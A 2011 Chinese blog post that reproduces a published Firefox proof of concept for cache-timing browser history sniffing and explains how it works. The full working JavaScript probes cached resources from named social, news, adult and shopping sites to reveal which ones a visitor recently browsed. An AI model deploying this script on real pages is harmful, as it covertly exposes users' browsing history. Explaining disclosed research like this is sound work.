最高半折刷qq各种业务和钻(家里人自己开的,尽管放心,大家多捧捧场)

sking7

导航

浏览历史嗅探

今天看到新闻

如下:

<Quote>

过去几年,为了防止基于 CSS 的浏览历史嗅探,浏览器开发商废弃了 CSS :visited 选择器。现在,安全研究人员公布了新的浏览历史嗅探工具(支持 Firefox、Chrome 和 opera,实验性支持 IE),能通过快速检查缓存提取出浏览历史。这并不是一种新方法,但比以前的实现要方便得多

</Quote>

遍进入所发出的网址去看了下源码

<html>
<title>Firefox PoC: rapid history extraction through non-destructive cache timing</title>

<!--

Hello, traveler!

There are three simple tricks in this otherwise straightforward code:

1) Instead of the usual tendency to leverage <img onload=...>, it attempts
to load selected third-party URLs in an <iframe>. This has two very
important benefits:

- We can detect that the browser is preparing to parse the retrieved
document, and do not have to wait for it to be actually parsed and
rendered. We do this by continuously accessing the DOM of the
original about:blank frame, and trapping same-origin policy violations
as soon as that context is discarded.

- In all browsers, we can reliably abort the underlying request by
changing the src= parameter of the frame as soon as we have a
reasonable suspicion we're dealing with a cache miss. This preserves
the integrity of the cache, allowing the same test to be repeated
later on.

(You can abort <img> loads in Firefox by changing src=, and in WebKit,
you can leverage window.stop().)

2) Browser vendors clamp the minimal delay for setInterval and setTimeout
calls, which makes it difficult to perform the check frequently enough on
some systems. This is worked around by leveraging postMessage() to
simulate a sub-ms resolution timer in Firefox.

You can normally get some results without super-precise timing, but slight
changes such as putting the machine on battery power or playing back a
video clip in the background can render standard timers useless; that's why
my initial PoCs worked only for about 20% of all users.

3) There are some counterintuitive tweaks necessary to get the <iframe> timing
to work just right - and that's the main reason I keep several
browser-specific PoCs instead of a single implementation (not that you
couldn't merge them). About the most important point is a cool-off period
after resetting the src= of a frame to data:... several miliseconds
must be allowed to permit the navigation to complete properly; calling
window.stop() also helps tremendously, even though it theoretically
shouldn't.

The target URLs probed by the script can be almost arbitrary, as long as they
are not explicitly marked as non-cacheable, and do not have an unreasonably
short max-age / Expires. You can target specific HTML pages, favicons,
images, CSS, static JS, etc. This version uses static CSS and JS subresources
over approximately 10 kB, as they are a very stable and predictable target.

Fun fact: the entries that rely on JS files will fail for people who browse
the target sites with NoScript.

What else? This implementation scans around 50 individual URLs per second, but
uses conservative timing and redundancy to stay on the safe side. With minor
optimizations, parallelism, and perhaps delay calibration, several hundred
URLs per second should be doable.

If you have any questions, please ping me at lcamtuf@coredump.cx. You can
also thank me for not making a conference presentation, a research paper,
or a PR release out of this ;-)

Questions? You can ping me at lcamtuf@coredump.cx.

-->

<script>

/*******************************
* SUB-MS TIMER IMPLEMENTATION *
******************************
*/

var cycles = 0;
var exec_next = null;


function timer_interrupt() {

cycles
++;

if (exec_next) {
var cmd = exec_next;
exec_next
= null;
cmd();
}

}


window.addEventListener(
'message', timer_interrupt, false);


function sched_call(fn) {

exec_next
= fn;
window.postMessage(
'123', '*');

}


/****************
* SCANNED URLS *
***************
*/

var targets = [

{
'category': 'Social networks' },

{
'name': 'Facebook', 'urls': [ 'https://s-static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',
'http://static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',
'http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/HN0ehA1zox_.js' ] },

{
'name': 'Twitter', 'urls': [ 'http://a0.twimg.com/a/1322778272/phoenix/css/phoenix_core.bundle.css',
'http://a2.twimg.com/a/1322778272/phoenix/css/phoenix_core.bundle.css',
'http://a0.twimg.com/a/1322778272/phoenix/css/phoenix_more.bundle.css',
'https://si0.twimg.com/a/1322778272/phoenix/css/phoenix_core.bundle.css',
'https://twimg0-a.akamaihd.net/a/1322778272/phoenix/css/phoenix_core.bundle.css' ] },

{
'name': 'Google Plus', 'urls': [ 'https://ssl.gstatic.com/gb/js/abc/gcm_57b1882492d4d0138a0a7ea7240394ca.js' ] },

{
'name': 'Dogster', 'urls': [ 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js.gz' ] },

{
'name': 'MySpace', 'urls': [ 'http://x.myspacecdn.com/modules/common/static/css/futuraglobal_kqj36l0b.css' ] },

{
'category': 'Content platforms' },

{
'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/cssbin/www-refresh-vflMpNCTQ.css' ] },

{
'name': 'Hulu', 'urls': [ 'http://static.huluim.com/system/hulu_0cd8f497_1.css' ] },

{
'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/css/c_fold_main.css.v109886.64777.105425.23' ] },

{
'name': 'JustinBieberMusic.com', 'urls': [ 'http://www.justinbiebermusic.com/underthemistletoe/js/fancybox.js' ] },

{
'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/styles.css' /* 4h */ ] },

{
'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/squelettes/jquery-1.6.4.min.js' ] },

{
'category': 'Online media' },

{
'name': 'New York Times', 'urls': [ 'http://js.nyt.com/js2/build/sitewide/sitewide.js' ] },

{
'name': 'CNN', 'urls': [ 'http://z.cdn.turner.com/cnn/tmpl_asset/static/www_homepage/835/css/hplib-min.css',
'http://z.cdn.turner.com/cnn/tmpl_asset/static/intl_homepage/564/css/intlhplib-min.css' ] },

{
'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/reddit.xai6cepmHKc.css' ] },

{
'name': 'Slashdot', 'urls': [ 'http://a.fsdn.com/sd/classic.css?release_20111201' ] },

{
'name': 'Fox News', 'urls': [ 'http://www.fncstatic.com/static/all/css/head.css?1' ] },

{
'name': 'AboveTopSecret.com', 'urls': [ 'http://www.abovetopsecret.com/forum/ats-scripts.js' ] },

{
'category': 'Commerce' },

{
'name': 'Diapers.com', 'urls': [ 'http://c1.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12',
'http://c3.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12' ] },

{
'name': 'Expedia', 'urls': [ 'http://www.expedia.com/static/default/default/scripts/expedia/core/e.js?v=release-2011-11-r4.9.317875' ] },

{
'name': 'Amazon (US)', 'urls': [ 'http://z-ecx.images-amazon.com/images/G/01/browser-scripts/us-site-wide-css-quirks/site-wide-3527593236.css._V162874846_.css' ] },

{
'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/CSS/template.v1.w.5723.0.css' ] },

{
'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] }


];


/*************************
* CONFIGURABLE SETTINGS *
************************
*/

var TIME_LIMIT = 5;

var MAX_ATTEMPTS = 2;

/**********************
* MAIN STATE MACHINE *
*********************
*/

var log_area;

var target_off = 0;
var attempt = 0;
var confirmed_visited = false;

var current_url, current_name;
var wait_cycles;

var frame_ready = false;

var start, stop, urls;

/* The frame was just pointed to data:... at this point. Initialize a new test, giving the
frame some time to fully load.
*/

function perform_check() {

wait_cycles
= 0;
setTimeout(wait_for_read,
1);

}


/* Confirm that data:... is loaded correctly. */

function wait_for_read() {

if (wait_cycles++ > 100) {
alert(
'Something went wrong, sorry.');
return;
}

if (!frame_ready) {

setTimeout(wait_for_read,
1);

}
else {

frames[
'f'].stop();
setTimeout(navigate_to_target,
1);

}

}


/* Navigate the frame to the target URL. */

function navigate_to_target() {

cycles
= 0;

sched_call(wait_for_noread);

urls
++;
document.getElementById(
"f").src = current_url;

}


/* The browser is now trying to load the destination URL. Let's see if
we lose SOP access before we hit TIME_LIMIT. If yes, we have a cache
hit. If not, seems like cache miss. In both cases, the navigation
will be aborted by maybe_test_next().
*/

function wait_for_noread() {

try {

if (frames['f'].location.href == undefined) throw 1;

if (cycles >= TIME_LIMIT) {

maybe_test_next();
return;

}

sched_call(wait_for_noread);

}
catch (e) {

confirmed_visited
= true;
maybe_test_next();

}

}


/* Just a logging helper. */

function log_text(str, type, cssclass) {

var el = document.createElement(type);
var tx = document.createTextNode(str);

el.className
= cssclass;
el.appendChild(tx);

log_area.appendChild(el);

}


/* Decides what to do next. May schedule another attempt for the same target,
select a new target, or wrap up the scan.
*/

function maybe_test_next() {

frame_ready
= false;
document.getElementById(
'f').src = 'data:text/html,<body onload="parent.frame_ready = true">';

if (target_off < targets.length) {

if (targets[target_off].category) {

log_text(targets[target_off].category
+ ':', 'p', 'category');
target_off
++;

}

if (confirmed_visited) {

log_text(
'Visited: ' + current_name + ' [' + cycles + ':' + attempt + ']', 'li', 'visited');

}

if (confirmed_visited || attempt == MAX_ATTEMPTS * targets[target_off].urls.length) {

if (!confirmed_visited)
log_text(
'Not visited: ' + current_name + ' [' + cycles + '+]', 'li', 'not_visited');

confirmed_visited
= false;
target_off
++;
attempt
= 0;

maybe_test_next();

}
else {

current_url
= targets[target_off].urls[attempt % targets[target_off].urls.length];
current_name
= targets[target_off].name;

attempt
++;

perform_check();

}

}
else {

en
= (new Date()).getTime();

document.getElementById(
'status').innerHTML = 'Tested ' + urls + ' individual URLs in ' + (en - st) + ' ms.';

document.getElementById(
'btn').disabled = false;

document.getElementById(
'survey').style.display = 'inline';

}

}


/* The handler for "run the test" button on the main page. Dispenses
advice, resets state if necessary.
*/

function start_stuff() {

if (navigator.userAgent.indexOf('Firefox/') == -1) {

alert(
'This proof-of-concept is specific to Firefox, and probably won\'t work for you.\n\n' +
'Versions for other browsers can be found here:\n' +
'http://lcamtuf.coredump.cx/cachetime/');

}

target_off
= 0;
attempt
= 0;
confirmed_visited
= false;

document.getElementById(
'btn').disabled = true;

log_area
= document.getElementById('log');
log_area.innerHTML
= '';

urls
= 0;
st
= (new Date()).getTime();

maybe_test_next();

}


/* Survey helper. */

function survey(answer) {
var x = new XMLHttpRequest();
x.open(
'GET', 'survey.cgi?' + answer, false);
x.send(
null);
alert(
'Thanks for the feedback!');
document.getElementById(
'survey').style.display = 'none';
return false;
}

</script>

<input id=btn type=submit onclick="start_stuff()" value="Do the thing already!">
<p>
<h5>The sites you have visited in the past day or so are shown in <font color=green>green</font>; <font color=gray>gray</font> indicates
a site <u>not</u> found in your cache:</h5>

<div id=log class=list>
</div>
<p>
<iframe id=f name=f height=20 width=200 style="opacity: 0.1" src="about:blank"></iframe>

基本原理:

1.读取本地cache的代码要比去网络上读取快速的多。

2.给iframe设置src,每1ms检查下是否frame_read=true,(其实就是iframe的body  onload成功后。。。)

   document.getElementById('f').src = 'data:text/html,<body onload="parent.frame_ready = true">';

之后就是

window.addEventListener('message', timer_interrupt, false);

function sched_call(fn) {

exec_next = fn;
window.postMessage('123', '*');

}
跨域传递信息123,window收到信息后,调用函数。。。也就调用了wait_for_noread,
赋值src(这里src请求的资源都是一些网址必须的。。所以这些资源在cache里有就说明访问过)
3.判断如果
if (frames['f'].location.href == undefined) throw 1;
这就触发了有访问过的历史。。

posted on 2011-12-05 23:34  G.N&K  阅读(825)  评论(0编辑  收藏  举报